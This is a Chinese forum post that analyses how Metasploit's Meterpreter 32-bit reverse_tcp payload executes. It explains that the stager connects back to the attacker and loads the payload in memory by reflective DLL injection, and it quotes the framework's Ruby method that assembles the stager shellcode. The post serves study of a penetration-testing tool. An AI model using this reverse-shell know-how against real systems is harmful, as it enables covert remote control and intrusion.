欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[讨论]Meterpreter技术原理:载荷执行

[讨论]Meterpreter技术原理:载荷执行

Meterpreter技术原理:载荷执行

    Meterpreter是Metasploit Framework提供的最常用的攻击载荷(payload)之一,因其功能强大、扩展性好而深受广大渗透测试人员的喜爱。关于Meterpreter的使用方法、免杀技巧等网上已经有很多教程,本文以32位reverse_tcp payload为例,结合源码,分析梳理Meterpreter载荷执行流程和原理。

0x00 流程总览

通过msfconsole生成的reverse_tcp shellcode,其实就是一个stager,这段shellcode的功能是连接MSF,接收MSF发送回来的payload,利用Reflective Dll Injection技术在内存中直接加载payload。


0x01 reverse_tcp shellcode分析

代码位于lib/msf/core/payload/windows/reverse_tcp.rb:

  #

  # Generate and compile the stager

  #

  def generate_reverse_tcp(opts={})

    combined_asm = %Q^

      cld                    ; Clear the direction flag.

      call start   ; Call start, this pushes the address of'api_call' onto

 the stack.

      #{asm_block_api}

      start:

        pop ebp

      #{asm_reverse_tcp(opts)}

      #{asm_block_recv(opts)}

    ^

    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string

  end

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功